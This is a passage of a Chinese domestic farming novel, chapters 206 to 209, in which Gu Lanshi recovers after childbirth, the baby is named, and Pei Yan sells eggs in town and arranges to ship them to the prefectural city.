放下茶碗后,顾兰时说道:“那就吃蛋羹,香油少些,睡前吃了半碗面,不是很饿。” “行。”裴厌脚下不停,又去灶房给他端鸡蛋羹。 鸡蛋羹正好,嫩嫩的,顾兰时吃了两口问道:“什么时辰了?” 裴厌坐在炕沿,看一眼还在睡觉的孩子,说:“申时初,还早着,你再歇歇,晚饭想吃什么我让周姐姐去做。” “嗯,等会儿再说,一时还想不到。”顾兰时说道,很快就把一碗蛋羹吃完。 身上又有点疼,他把空碗递给裴厌,自己往身后的软枕上依靠,等疼劲过去后,开口道:“娘说了,过了这几天就好。” “不用找郎中来看?”裴厌神色紧张。 顾兰时笑道:“不用,多数人都这样,你问周姐姐,她肯定也这样说,刚生,还不得个几天休养,手上划了口子,没好利索的时候不也是疼的。” 裴厌陪着坐了一会儿说说话,再出去后,又问了一遍周淑云,确定真是这样,才按下去请郎中的心思。 * 夜幕降临,顾兰时因晌午睡了一觉,不是很困,裴厌点了灯,屋里亮起昏黄光芒。 小星星又吃了半颗乳果,吃完就睡着了。刚生出来的小孩都这样,能吃能睡才叫人放心。 借着灯光,裴厌用热水给夫郎擦了手脸,洁齿漱嘴也是他端着漱盂。 擦洗完后顾兰时觉得舒坦了不少,慢慢挪动着往下躺。 灯吹灭了,屋里陷入黑暗,听到孩子偶尔发出的哼唧声音后,软软的,小小的,存在感分外明显,叫人心软的同时,连说话声都不敢大了,生怕搅扰了小小的美梦。 第206章 家里多了个小小的人,明明每天吃了睡睡了吃,占据的只是炕上一小片地方,却让到处都不一样了。 木架上每天都有洗了的尿布搭上去,小衣裳一旦湿了也要洗,屋里一沓干净尿布放在随手可取的地方,拨浪鼓时而咚咚咚转响。 屋子和灶房都有乳果,吃了的没吃的,圆滚滚放在那里,每天周淑云都会切几个煮汤水。 有她在,顾兰时不用做饭不用洗衣,给孩子换换衣裳和尿布,喂喂乳果就成,十分省心。 他之前担心过,怕孩子经常哭闹,然而小星星很好养活,只有饿了或者拉尿不舒服的时候才哭几声,多数时候都很乖,有时醒了不哭不闹,小手小脚挥动着,自己玩耍。 不止顾兰时,裴厌也学会给孩子换尿布换衣裳,甚至都敢抱起来,孩子在他胳膊上躺着,看起来小了一圈。 清早,顾兰时还没睡醒,就听到孩子哭了一声,眼睛立即睁开了,伸手一摸,湿漉漉的,尿了,于是就喊裴厌。 刘大鹅已经赶车去镇上了,裴厌这几天都没出远门,只在家里打打猪草,一回来就先进屋看,还会帮着带带孩子。 论理,这活儿不该是汉子的,但他不在意。 “怎么了?”裴厌进来问道,早起外面冷,一开门钻进几分冷意。 “尿了,拿出去放盆里。”顾兰时把脏尿布取下,直接递给他,又拿了软布给星星擦干小屁股。 舒服了以后,孩子不再哭闹,哼哼唧唧又闭上眼睛睡。 裴厌接过尿布,说道:“一会儿我去村里,问问谁家有老母鸡卖,买两只回来,炖汤给你吃。” “行。”顾兰时答应着,给孩子盖好被子,这才坐正了,问道:“外头冷?” “嗯,起了雾。”裴厌点点头,问:“笋子想吃吗?” 顾兰时伸个懒腰,将衣裳披好,舒舒服服靠坐在炕头,闻言开口道:“今儿不忙?不忙的话挖点笋子回来,和鸡一起炖。” 裴厌说道:“不忙,刘哥去镇上送鸡蛋了,去地里转转看一眼就行,稻穗已经黄了,再晒几天才去收。” “今天带了多少鸡蛋?”顾兰时问道。 春天买的鸡仔长大了,四十六只母鸡从月初陆续下起鸡蛋,再加上西边原来的五十几只老母鸡,正正好一百只。 除了喂草和食,平时裴厌和刘大鹅还去下网抓鱼虾,摸螺和泥鳅,有时在水田里干活,也能逮到泥鳅黄鳝什么的,带回来剁碎捣泥喂鸡鸭,养得很好。 从前天起,鸡蛋一下子变多了,他没出房门,但听裴厌和周姐姐说了,一天下来,鸡蛋能收七八十枚甚至更多。 裴厌还好,养鸡看惯了,周淑云没见过这么多母鸡,直咂嘴说那地上窝里都是鸡蛋,就跟白捡的一样,十分惊讶。 裴厌开口道:“三百个,上次我去酒楼,吴叔说要二百,他那边就得两百二十枚,再去酒馆问问,估计正好,我跟刘哥说了,无论剩多少,原样拉回来就是,不用沿街吆喝,打草的事要紧。” 之前和来福酒楼定好的,只要鸡蛋过百枚,就要添十个,这些他都同刘大鹅交代过。 “过两天鸡蛋多了,我找个工夫去镇上卖,不着急。”裴厌说着,倒了碗热茶递过去。 裴厌往外走,说:“我去打水,你洗洗。” “嗯。”顾兰时应一声,转头目光又落在小星星的肉脸蛋上,没忍住摸了摸,软软嫩嫩的。 孩子被打扰,不满地哼唧起来,他连忙收回手,还是等睡醒再玩儿。 * 太阳余威不减,和清早傍晚全然不同。 “咕咕咕——” 鸡圈里,方红花一边倒食一边呼唤母鸡,把盆底拍干净后,拿起挂在篱笆门上的蛋篮子拾鸡蛋。 有的母鸡不讲究,走到哪里蛋就下在哪里,她弯腰从地上捡了七八个鸡蛋,随后往鸡窝那边走,窝里有二十来个鸡蛋,看得人心喜。 方红花嘴里阿弥陀佛念叨着,这鸡蛋可真多。 她搜刮完东边以后,又往西边鸡圈走,又是十几个鸡蛋。 这会子晌午,离天黑还早,下午肯定还有母鸡下蛋呢,还得再摸一两回。 蛋瓮放在新杂屋,方红花知道,提着蛋篮去放鸡蛋,仔细摆的齐整,忙完她放下东西,掸掸灰洗洗手,兴高采烈去了东屋,说:“兰哥儿,鸡蛋阿奶都给你放好了,四十几个呢。” 见顾兰时抱着孩子喂乳果,她站在炕边看曾孙:“乖乖,这大胖小子,吃奶可真有劲。” 顾兰时笑道:“我也觉着,胳膊腿也很有劲呢。” 他把手里的乳果转转,又说:“阿奶,你回去带上十几二十个鸡蛋,天天吃着,没了再过来拿。” 方红花坐在炕沿,一听这话笑得合不拢嘴,说道:“哎呦,哪能天天儿吃。” 顾兰时抬头说道:“阿奶,你就去拿,天天早上吃一个,也补补。” 知道下蛋更多了,不差这几个,方红花没有再推辞,喜笑颜开:“哎,好好。” 周淑云从外面进来,问道:“兰哥儿,尿了没?” 顾兰时一摸星星尿布,说:“没,周姐姐,你歇歇,喝点茶水,要有什么事我喊你。” 周淑云眼睛在屋里转一圈,见确实没有活要干,笑着就出去了。 之前和裴厌说好,她只管屋里的扫洒和做饭洗衣,再帮忙带带孩子,其他杂活不用干,吃住都在这边,一个月给一百二十文工钱。 活不重,吃的也好,每天裴厌都会交代她做什么饭,近来天天有肉和鸡蛋,她和刘大鹅都能沾到光。 在这边的吃喝,要比别处都好,是来之前没有想到的,她本身就是个爽利人,人家既然看得起自己,肯定得好好干。 晌午饭方红花在这边吃的,发现周淑云手艺不错,很爱干净,灶房拾掇得很好,就放了心,总不能白花钱。 她和顾兰时说说话,见孩子吃着吃着就闭上眼睛,于是放轻了声音,说:“兰哥儿,你没事也歇歇,我先回去了。” “好。”顾兰时把乳果果尖从孩子嘴里轻轻拿出来,说道:“阿奶,别忘了拿鸡蛋。” “哎哎。”方红花答应着,出去顺便带上了房门。 见裴厌提着木桶从后院过来,她取下挂在屋檐下的蛋篮,笑呵呵说:“厌小子,兰哥儿叫我拿几个鸡蛋呢。” 裴厌刚才喂了猪,得再给毛驴提半桶水,他笑道:“阿奶,多拿几个,如今蛋更多了,想吃就过来拿。” “好好。”方红花一叠声答应。 * 鸡蛋到了盛期,不提自家吃的那头,后院过两三个月要卖的十头猪长大长肥了,都是能换来钱的东西。 裴厌给毛驴倒了水,见刘大鹅在猪圈铲粪扫洒,不用他管后院的事,又回房去看儿子了。 星星睡了,小脸蛋红扑扑的,是个十分结实的小汉子。 他说不清自己心里的感觉,只知道这是自己儿子,怎么看都喜欢。 他压低声音:“明天我去庙里,问师父讨个名字。” “好。”顾兰时点点头,是该取大名了。 见裴厌还眼巴巴看儿子,他笑一下,目光落在男人清瘦的脸上。 裴厌其实长得很好看,鼻高目深,轮廓分明,只是脸上一道长疤破坏了所有俊秀。 今年从开春就忙,尽管有刘大鹅这个帮手,一百多鸡鸭和十二头猪要养,裴厌再能干,都不是一件轻松的事,明显瘦了许多。 好不容易胖一点,肉又掉了。 顾兰时心中惋惜,想了想说道:“明年养七头猪就行了,留一头吃的,六头能卖十二两。” “无论蛋期还是菜期,每个月不但能包住吃喝,还有五钱到一两的进账呢,算一算,一年手里能落个十几两,不必赶得太急,多攒几年,盖房的钱会够的。” 要说庄稼人过日子,鸡蛋不愁肉不愁,手头还有钱,已经很滋润了。 裴厌看着他,认真听完以后,垂眸思索一阵,这钱没算上冬天卖蛇和夏天卖蝎子的,今年确实累点,却不是什么大事。 知道顾兰时是为了他好,他抬眼笑着开口:“行,明年歇歇,缓一缓。” 顾兰时露出个笑:“明年孩子大了,能背出去,届时我也去打草。多个人活更轻。” 夫郎背着孩子干活很常见,裴厌一听,心中很不赞同,知道顾兰时犟,他含糊回道:“嗯,到时候再说。” * 去兴善寺求名,裴厌一人足以。 顾兰时从他出门就开始期待,不知道能讨个什么样的名字回来。 他抱着睡醒的小星星玩耍,摇一会儿拨浪鼓见小崽儿不感兴趣,他放下玩具,抱起儿子在肉脸蛋上亲了又亲。 等听到念辰这个名字后,顾兰时念了两遍,只觉欢喜,裴念辰,可真好听,真的是星星。 第207章 小星星还不会笑,只睁着黑亮的大眼睛,有时会看看大人,发出稚嫩的咿咿声。 更多的时候,孩子自己眨巴着眼睛,不知看向哪里,高兴时手脚扑腾几下,偶尔会把小手塞进嘴里,像是独自在玩耍。 顾兰时每天都会轻轻捏两下孩子小腿和小胳膊,只觉软软肉肉的,连十天都不到的婴孩,才刚刚要长肉呢,没到胖嘟嘟的时候。 再摸摸小脸蛋子亲香亲香,一天到晚待在房里不能见风的憋闷悉数消散。 “念辰,你叫念辰,裴念辰,也叫星星,是天上的小星星。”顾兰时笑眯眯抱着睡醒的儿子哄,嘴里不停念叨着。 周淑云洗了尿布从外面进来,见炕上的干尿布还有,就没有从箱子里取。 她坐在炕沿,看一眼嘴里咿呀咿呀不知在说什么的星星,笑着说:“今儿做饭该早一点,肉片子还有半碗,用笋片一起炒了?” 裴厌和刘大鹅天蒙蒙亮就去田里割稻谷了,忙了这么久,是该早些吃上饭,顾兰时点头道:“嗯,都炒了,多拿几个鸡蛋,切葱碎炒上一大碗,量要足,还得给咱俩留呢,我记得菜包子还有,热几个,也给带去。” “成。”周淑云满口答应,起身就去灶房了。 每天那么多鸡蛋,农忙时饭菜一定要好。得亏有周淑云,顾兰时不用去做饭送饭,在家里照顾好孩子就行。 这两天方红花没有过来闲转,秋收正忙,她跟大儿子住,大儿地多,全家都要去地里收谷,她平时不干活,这几天就得帮忙带带曾孙,还要给一大家子做饭。 今天收鸡蛋喂牲禽的事,裴厌便托给了周淑云。 周淑云不是会偷懒耍奸的人,只这一两天而已,自不会抱怨嫌恶。 见星星打了个小小的哈欠,还用小手揉眼睛,不一会儿眼睛眉毛都红了,显然困了,要哭不哭哼哧了两声。 顾兰时笑了笑,这是闹觉了,他把孩子抱好,边拍边哄。星星因闹觉难受,哭了几声,拍着拍着就闭上眼睛。 他在家里安心带孩子,裴厌在田里忙得热火朝天,脚上腿上都是泥,衣裳更不用说,最后一车稻谷拉回来后,天已经擦黑。 刘大鹅没有回去,吃完饭后睡在了西屋。 即便忧心家里的活,一想他家只有一亩水田,他夫郎还有老爹老娘能忙开,往年不就这样,他干长工,日夜都在别人家里干活,根本回不去。 今年他隔三差五带鸡蛋带肉,菜带的更多,今年家中吃喝比以前好了许多,连两个孩子都长了个儿,他家小枣儿已经能带着弟弟一起在地里帮忙。 稻谷拉回来,已经铺在谷场上,但白天夜里都得上心,万一来了雨,就得立刻收进棚里,不能让淋雨。 刘大鹅知道轻重,况且西屋都给他腾出来了,明明有睡的地儿,平时夜里没活,他回去裴厌不说什么。 这段时日要操心卷收的事,他要一走,只剩裴厌,万一半夜下雨,收的太慢,粮食就打湿了,万一今年坏了收成,这活儿就不一定能干下去了。 院子里,借着月色,裴厌正在盥洗,一天下来确实很累,但想起家里的一大一小,心里就仿佛有用不完的劲。 倒了水,他抬头看看夜色,没有阴云,应该不会下雨,就放心回了屋。 吃完饭后,他原本要同刘大鹅说最近晚上不用回去,不想刘大鹅也是有心的,主动说夜里会帮着听外头动静。 屋里留了亮,昏黄油灯微晃,在关上房门口,烛影又恢复平静。 裴厌站在炕边,往里先看一眼儿子,星星早都睡了,小脸蛋肉乎乎的,眼睛紧闭,显然睡沉了。 顾兰时靠坐在炕头,放下手里的针线在旁边,说:“明早多睡一会儿。” 往常这个时辰他已经睡了,今天是在等裴厌。 “嗯。”裴厌收回目光,落在夫郎被烛火映照的脸上,越发柔和。 他目含笑意,开口道:“我睡竹榻,身上和衣裳都脏,明儿洗了再睡回来。” “也好。”顾兰时掀开腿上的被子,到炕尾打开箱子,给他取了一床被褥。 裴厌把褥子铺在竹榻上,吹灭了灯后躺下,棉被晒过,暖暖和和的,又干净,劳累一天,几乎沾着枕头就睡了,意识陷入梦乡前,听到儿子的咿呀梦呓,梦里便有几个孩子在笑在闹。 * 稻谷只种一季,水田里的稻根慢慢掘都行,收回来的稻谷有刘大鹅在,得先翻动着晒干晒透。 稻子收回来的第三天,一大清早,裴厌用大小九个筐子装了六百枚鸡蛋,车上还有三筐四篮各种瓜菜,大的南瓜和冬瓜塞不进竹筐竹篮里,直接搁在板车上。 所有东西搬上去后,驴车瞧着满满当当。 原本可以直接出门,但裴厌没有,心里那点记挂放不下。 他原本只是想看看顾兰时和星星,不想刚推开门,房门吱呀轻响,炕上一大一小就都有了动静。 “弄好了?”顾兰时睡眼惺忪,见小星星醒来,怕孩子哭,顺手隔着被子拍了两下。 “嗯。”裴厌笑了笑,说:“还早,外头冷,再睡一会儿。” 顾兰时确实没怎么清醒,见儿子睁着大眼睛,他自己答应一声,不知不觉又眯瞪过去。 见状,裴厌没有再说话,站在炕边看一眼星星,又给夫郎掖好被角,临抬脚时他没有忍住,低头在顾兰时脖子上轻咬一口,脸颊贴着脸颊蹭了蹭。 许久没亲近过了。 顾兰时笑了两声,睁开眼说:“行了,快走吧,痒痒的,一会儿我真笑出声,孩子醒来哭的话,你就自己哄。” “嗯,回来给你买油酥饼。”裴厌眼中带着笑意。 “好。”顾兰时答应道,看着裴厌出去,才又翻个身睡了。 * 宁水镇。 秋收的喜悦到处都是,卖瓜卖菜的人不少。 镇上住的寻常百姓家,许多都在镇外有田地,从早到晚,沿街能看到不少拉稻谷的,地上也会掉穗子,有老人和小孩拎着竹篮到处搜寻拾捡。 街上各种车多,牛车驴车大小不一,还有人或拉或推,载着一车新收稻谷,晒红晒黑的脸上都是笑意。 裴厌牵着毛驴,跟着前面的牛车走走停停,沿着街道吆喝卖菜卖鸡蛋。 还没到冷的时候,母鸡都在下蛋,蛋价还是三文,地里的菜其实没有出完,原本还能再装几筐,但鸡蛋攒多了,不卖不行,就先紧着鸡蛋拉来。 他常常往镇上跑,一些人已经记住他了,有时还没吆喝,认得他的妇人和夫郎一看见他,就招手喊“卖鸡蛋的,过来”,诸如此类的话。 还没到来福酒楼,听见前头巷子口有人喊,裴厌就牵毛驴往那边走,偶尔回头看一眼,对靠近驴车的人十分警惕。 有一次他来镇上卖菜,觉察到有人跟得很近,正巧迎面碰到一个面熟的老太太,他不知道对方是哪家哪户的,但记得相貌,常常在他手里买鸡蛋,老太太急得指向他身后,他就知道有事。 一回头看见个邋里邋遢的汉子,正探着脑袋往板车里瞅,眼珠子骨碌转着,还咽口水,他冷声直接让那人滚。 邋遢汉子被骂,原想耍无赖对骂几句,他没真偷,谁敢把他怎么样,看一眼怎么了,几筐烂菜而已,又不是黄花大闺女,结果见卖菜的是个刀疤脸,一看就不好惹,灰溜溜夹着尾巴跑了。 小偷小摸的事不少见,出门都得防备些。 到巷子口后,裴厌找了个空地停下,不至于挡路。 喊他的人是一胖一瘦两个夫郎,年纪明显大一点,他一停下,三四个小孩也围上来,踮着脚往车里看。 胖夫郎问道:“有鸡蛋不?” 裴厌脸上有着温和笑意,说:“有,这九筐都是,尽管挑。” “哎呦,天老爷,这么多都是鸡蛋?”胖夫郎惊呼道。 瘦夫郎先看了看葫芦瓜,拿起两个发现很新鲜,一边挑一边说:“嗐,人家就是卖鸡蛋的,鸡蛋能不多吗,看看,这紫茄也好呢,回去蒸了吃。” 胖夫郎看他在挑,连忙也拣了几个茄子,又问:“鸡蛋多钱?” “还是三文。”裴厌说道,等瘦夫郎挑完葫芦瓜后,装进篮子用秤勾起,末了等瘦夫郎把葫芦放进他自己的篮子,又把空竹篮挂上秤,给两人都看了准星。 胖夫郎拣了几样菜,称好后让他两个小孩把菜抱回家,自己打开蛋筐盖子拿鸡蛋,嘴里还念着数儿。 听见卖菜卖鸡蛋,巷子里陆续又有几个人出来。 “有烂的没?”有头发全白的老妪问道。 裴厌看一眼正在挑鸡蛋的几人,被拿出来的稻草上放了几个沾鸡粪鸡毛较多的蛋,碰坏的确实没有。 “没。”他摇头说道,因围上来的人多,不免要多留神。 板车前都是已经成亲的妇人和夫郎,人又多,这大庭广众的,倒不用特地避嫌。 老妪一听没有,还是在旁边等待,万一谁拿出来个碰坏的鸡蛋,才用花一文钱,她之前买鸡蛋的时候碰到过,因此一直惦记,便宜谁不想占呢。 知道烂鸡蛋贱价的人不多,却也有几个。 一个看起来穿得不错的中年夫郎暗暗瞅一眼裴厌,见他正在给别人称菜,手里悄悄拿个鸡蛋,就想往板车侧方轻碰一下。 手刚往下挪了挪,忽然,一只大手犹如铁钳,直接抓住了他小臂,径直把他胳膊抬高,落在其他人眼里。 裴厌很快松开手,隔着衣袖,并未碰到其他地方,他脸上依旧带笑,说:“阿嬷,蛋是圆的,可能滑了点,只是在大伙儿手里不小心掉了或碰了,还得是三文一个,毕竟从筐里拿出去的时候是好好的,我这小本生意,经不起太大磕碰。” 瘦夫郎和胖夫郎明白怎么回事,都噗嗤一声笑了,一脸鄙夷和幸灾乐祸,明晃晃和中年夫郎不对付,都不给对方留一点脸。 “就是就是,在筐里好好的,自己拿出来摔在地上,可不得给人家赔钱吗,磕坏了也是一样。” 胖夫郎嘴巴很快,他也确实是个实诚人,要不是这一出,都想不到还能这样干。 “你……”中年夫郎被这么多人看着,臊红了一张脸,尽管不占理,还是冲着裴厌骂道:“什么碰不碰的,你哪只眼睛看到了?乡下佬没见识,几个鸡蛋当成金子了,我就是摔一地,也不放在眼里,缺德东西,一辈子做穷鬼。” 他恨恨放下手里那个鸡蛋,想摔又不愿赔钱,骂骂咧咧走开。 裴厌不是很在意,对方明显是心虚才破口大骂,他神色都不变,各种谩骂从小都听惯了,比这还难听的多得是,不痛不痒的。 他拿起那个鸡蛋放回去,招呼其他人:“阿嬷,婶子,尽管挑拣,都是新鲜菜。” 瘦夫郎脸上那个笑,都止不住,说:“还摔一地呢,连二十个鸡蛋都没买过。” 他声音不大不小,正好让中年夫郎听到。 胖夫郎在旁边嘎嘎笑,其他人不语,都一个巷子住着,不至于撕破脸皮,面儿上要过得去,装着买菜的模样竖起耳朵听,要么就是在憋笑。 中年夫郎一下子跳了脚,脸红脖子粗的,三人登时骂起来。 其他人都在看热闹,裴厌摇摇头,十分无奈,不占理走开就是,听两句奚落而已,事情闹得更大,知道的人更多,这不更没脸吗。 因胖瘦两个夫郎还没付钱,他只能等两人吵完再提。 好在没多久,有人看不下去,把三人劝开了。 围看的人散了,钱到手以后,裴厌牵着毛驴往酒楼走。 外出多了,什么人都能碰到,怀里的钱袋渐渐变沉,他心中只有挣钱的踏实感,一路边走边看各种店铺,心想除了油酥饼,再买包山楂糕回去。 第208章 吴升文最近很高兴,老二夫郎苗树儿有身孕了,一家子都喜气洋洋的,听伙计说裴厌来送鸡蛋了,他手头刚好有块熟羊肉,直接切了半块,找了油纸和麻线包好,拎着就去后门了。 “吴叔,今儿不忙?”裴厌把蛋筐挪到车边,让伙计拾鸡蛋,刚才路过酒楼门口的时候,见有吃早食的食客,以为吴升文很忙,今天不会出来。 吴升文笑道:“还成,秋收了?” 裴厌说道:“前天收的,今年天好,收成不错。” 唠两句家常,吴升文把手里的油纸包递过去,说:“拿着,叫家里也尝尝。” 裴厌接过,摸着像是肉块子,见吴升文没提是什么,有两个伙计在,他就没问,笑着把油纸包放好,说道:“谢吴叔了。” “瞎客气什么。”吴升文一摆手,他看看菜蔬,叫多称了些,近来农忙,便宜的菜饭卖得很好。 一百一十个鸡蛋三百文,菜价便宜,最后抹掉零头,结了四钱。 再给同春酒馆送了货之后,裴厌没有往回赶,车上还有三百多鸡蛋,瓜菜也剩不多,今天家里没要紧活,他牵着驴车继续叫卖。 走着走着,来到岔路口,往东边街道走,就是码头了,那边也有各种铺子,吃食摊子也有。 往前没几步,一个从皮货铺子出来的汉子有些熟悉感,裴厌抬眼看去,是花惜霜二哥。 “花二哥。”他喊了一声。 花成方一转头,笑道:“我说呢,怎么忽的有人喊,来卖菜?” “嗯。”裴厌笑着开口:“花二哥是刚回来?” 花成方说道:“回来几天了,今儿坐船过去。” 他在府城一户人家做事,混了几年出息了,如今是个小管事,之前去顾家看小妹时,碰到裴厌在,因此两人认识。 裴厌笑道:“菜和鸡蛋都有,二哥要不嫌弃,带上些去。” 他把驴车停在靠里的地方,说:“正好有个空篮子。” 花成方连连摆手推让:“哎哎,不用不用,府里有厨房,吃喝是管的,不用我另起灶,再说了,坐船也不方便带。” 既如此,裴厌没有过分客套,笑着把竹篮放下,问道:“二哥是何时的船?” “再过两三刻钟,跟人办点事,办完了就走。”花成方说着,目光落在裴厌刚才打开的蛋筐上。 原以为和其他人卖鸡蛋没区别,只铺着稻草,不想鸡蛋竟塞在一个个格子里。 “塞进格子里?”他目露好奇,上前细看。 裴厌开口道:“嗯,路远,赶车太颠簸,蛋容易磕碎,就想了个法子,这样稳妥些,就是一筐装的少。” 见板车上有取下来的竹片格子,花成方拿起,赞道:“这法子好,把稻草绑住,就不会散乱了,把鸡蛋塞进去,蛋也不会滚动。” 裴厌笑一下,说:“瞎琢磨的,做的也粗。” 花成方看着格子好一会儿,抬头说道:“鸡蛋还有多少?” “三百多。”裴厌见他似乎有什么想法,没有隐瞒。 花成方咂摸一下,又问:“一筐装多少个?” 裴厌开口:“大的七十六个,小的四十八个,两大一小正好二百枚鸡蛋。” “三筐能放两百。”花成方念叨着,末了说道:“这样,你连竹筐算给我,价钱好说,我带二百去。” 裴厌笑道:“什么钱不钱的,筐子二哥拿去就是,不是什么稀罕东西,我卖了这两年鸡蛋,蛋筐的事许多人都知道,先前我看见好几个卖鸡蛋的,都学了去。” 他和顾兰时做竹片格子是为了卖鸡蛋,只要鸡蛋能完整卖出去就好,因此不是很在意,再说了,人家要学,他俩也拦不住。 花成方点点头:“成,鸡蛋就按市价来,如今是三文?” “是三文,二哥是自己吃用?”裴厌问道,又说:“自己人,吃的话用不着三文。” 花成方道:“我也不瞒你,我带去是卖的,府城人多,高门大户更多,鸡蛋又是个不能缺的。” 他压低声音,又说:“府城的鸡蛋,市价比咱们镇高,四文钱。” “我做事的府里常常要买,有时鸡蛋紧俏了,府里人口多难免有短缺,刚才你说有鸡蛋,我没这个念头,一路不止行船,到了府城还得走到城里,有这样的格子和筐子就好了,方便运去。” 花成方性格爽快,对外人不提,对自己人还是很仗义的,之前听小妹说,常常从后山拿鸡蛋吃,他记在心里,对裴厌和顾兰时很有好感,因此没有隐瞒。 裴厌不是磨蹭磨叽的性子,一听是这样,笑道:“那好,只是二哥,纵使塞进格子,偶尔会有几个鸡蛋碰烂,带去府城的话,还是每层都查看一遍……” 花成方打断他:“这个不要紧,路上我自然会小心,你从家里拉来,一筐鸡蛋能碰碎几个?” “多了四五个,再多就没有,车赶得慢。”裴厌照实说了。 “那就成,不必那么费事。”花成方并不介意这几个,鸡蛋娇贵,磕磕碰碰再常见不过。 裴厌很快把二百枚鸡蛋补齐,有的人爱挑拣,每个筐子都挑一挑,因此都有缺口,弄完后他问道:“二哥,筐子卸哪里?” “走,去码头,暂且让船夫看着。”花成方在前头带路,裴厌很快跟上去。 从码头离开的时候,车上少了三个竹筐,却多了另一条门路。 花成方知道他养了一百只下蛋母鸡,冬天还会烧暖屋子卖高价蛋,一下子眼睛都亮了。 鸡蛋贵就贵在运不了远路,城镇只能靠附近的村庄供应,冬天就更少了,如今有了这样的蛋筐,甚至冬天也有蛋源。 花成方当上小管事以后,一个月工钱涨到了一两,日子还算不错。 他爱吃两口酒,还有老婆孩子要养,说实话哪儿哪儿都是钱,别看当了个管事,只是瞧着体面而已,两个儿子以后要娶妻,可不得早早攒钱。 因此他有时会在外面干点别的活,多少赚一点,眼下有个路子,自然要好好动脑子做起来。 就算一个鸡蛋从当中只挣一文钱,两百个就是二钱了,要是一个月弄五百个鸡蛋,就能顶半个月的工钱。 裴厌揣着六钱碎银也挺高兴,碎银子加起来有一两了,顾兰时要是看见,一定美滋滋的。 不止是银子,他和花成方说定了,冬天肯定会在他手里收鸡蛋,倒腾运去府城,赚那些个大户一笔。 至于平时,就按镇上的市价来,不会叫他吃亏,自己人,有钱一起赚当然最好。 第209章 半上午,窗子开了条缝透气,孩子吃了乳果又睡了,顾兰时轻手轻脚下炕,站在屋里抻抻胳膊晃晃腿。总是在炕上躺着坐着,胳膊腿早就闷得慌了。 乡下人走动惯了,也结实,养了这几天,他身上不再疼,每天吃喝进补都跟得上,倒没别的不适。 天晴好,外头太阳挺大的,就是有风,不能去院子。 顾兰时想起什么,走到房门口探头朝外面喊:“周姐姐,看看葡萄怎么样了。” 周淑云在木架前拍被子,今儿太阳好,她已经把顾兰时的裴厌的被子抱出来晒,自个儿的被子晒在另一个木架上,多见见太阳,夜里盖着暖和。 “好。”她答应一声,把手里的藤拍子放在一边,出门往东边走,站在葡萄架底下往上瞅。 今年结葡萄了,只是还不到盛期,零星七八串而已,也都不大,再往后,葡萄就一年比一年盛了。 有几串藏在葡萄叶底下,葡萄粒渐渐变黄变红变紫,只一串上,就能看到好几种颜色,漂亮极了。 瞥见一抹紫红后,周淑云拨开几片叶子,露出来的一小串葡萄还没她整个手大,已经全红变紫了。 她垫脚伸长胳膊摘下,哪怕不是自己吃,眼里也透着欢喜,葡萄可不多见,外头卖得贵呢,瞧瞧,长得可真好看。 “兰哥儿,有一串,全都紫红了,我给你摘了。”周淑云一边走一边高声说,到灶房门口时直接舀了半瓢水冲洗。 正在屋里伸腰抬腿瞎动弹的顾兰时一听,连忙放下右脚,走到门口等待。 周淑云端着碗过来,笑着递给他。 葡萄刚结出来的时候,顾兰时每天都要去看看,盼啊盼,总算盼到能吃的时候。 碗里的一串葡萄不大,也就十来颗的样子,粒粒紫红圆润,带着些许水珠儿。 顾兰时摘下一粒,捏在两个指腹间,眉眼含笑,他另一手端碗,不好剥皮,于是直接递到唇边一咬,手指轻捏,一吸吮,饱满的汁水流入口中,果肉软而细腻,酸甜可口。 指间只剩紫红的葡萄皮,流淌下汁水,指腹轻捻,渐渐变得粘黏。 “周姐姐,你也尝尝。”顾兰时把碗递过去,他忍不住舔一下嘴巴上的汁水,心中满是欢欣雀跃,只可惜裴厌这会儿不在。 周淑云原本抬脚要走,被子还没拍完呢,看一眼伸过来的碗,她喉咙动了动,笑着伸手摘了一粒,说:“那我也尝尝。” “多拿俩。”顾兰时说道,今年结了好几串呢,后面熟了还能吃。 “不了不了,我还忙呢,你坐屋里慢慢吃。”周淑云一边说一边剥皮,往嘴里一塞,眼中笑意更甚:“哎呦,可真甜。” 她砸吧着嘴里的肉和汁水,转身又去干活,尽管味道很快就淡去消散,她拿起藤拍子拍棉被,依然很高兴。 屋里,顾兰时听到谷场上刘大鹅干活的动静,一想算了,和周姐姐还能说说话,刘哥毕竟是个汉子,回头再有熟的,让裴厌给他一些就行。 有风吹进来,他关上房门,先看一眼炕上睡觉的孩子,星星脸蛋红扑扑,睡得正香。 他坐在桌前,一连吃了好几粒葡萄,酸酸甜甜的,怎么吃都不腻。 * 太阳爬到头顶,裴厌才回来,今天在镇上多转了一会儿,运气不错,回来没剩多少东西。 一进屋见顾兰时抱着儿子玩耍,他笑着把一个油纸包放在桌上,又从怀里掏出钱袋,说:“吴叔给了一块羊肉,我放灶房了,油酥饼也买了,这是山楂糕。” “饭都做好了,晚饭再吃羊肉,到时我让周姐姐切了片,煮汤热乎乎的,正好和油酥饼一起吃。”顾兰时见他伸手,就把孩子给他。 裴厌小心翼翼抱着儿子,低头和星星对视上后,忍不住弯起唇角。 孩子又看向别处,嘴里咿呀轻哼了两下。 顾兰时笑眯眯说:“今天周姐姐摘了一串葡萄回来,不大,给你留着呢,等下尝尝。” “嗯。”裴厌抬眼看他,说:“鸡蛋只剩三十几个,卖了五百多。” 顾兰时眼睛亮了一瞬:“只算五百个整,一两五钱。” 裴厌看见他神色,笑道:“满打满算,今天二两有余,菜价便宜,不少人又要饶头,卖到最后太阳大,叶子菜都蔫了,我就多给买的人抓了两把,当贱价卖了,多少换几个铜子儿。” “卖完就行了,家里还有那么多菜呢,再拉回来不值当。”顾兰时很是赞同。 裴厌一边拍着儿子哄,一边说:“今天碰到了花二哥,他坐船去府城,看见做的蛋筐,就要了二百枚鸡蛋,连同筐子一起给他,他说府城那边蛋价高,一个四文钱,他倒腾从中挣一点,给咱们算的是镇上市价,三文。” “他能从其中赚到,心很热,说过段时日会来,等他在府城那边找好路子,到冬天把屋子烧起来让母鸡下蛋,到时候拉去府城卖高价。” “府城比镇上人多,富贵人家也不是咱们镇能比的,我估摸着,冬天鸡蛋不愁没人买。” 顾兰时坐在炕沿认真听完,末了语气惊喜:“得亏咱们今年盖了新屋子,能养的母鸡更多。” “嗯。”裴厌也高兴,又道:“今年冬天,鸡蛋就不散卖了,都留着,不然恐怕不够。” “酒楼酒馆是老主顾,就算要的不多,也得先给他们留些,若花二哥那边没要完,往高府那边转转就行。” “这样好。”顾兰时笑眯眯的,从碗里捏了一粒葡萄,剥了皮举高。 裴厌低头吃进葡萄,眉宇舒展柔和。 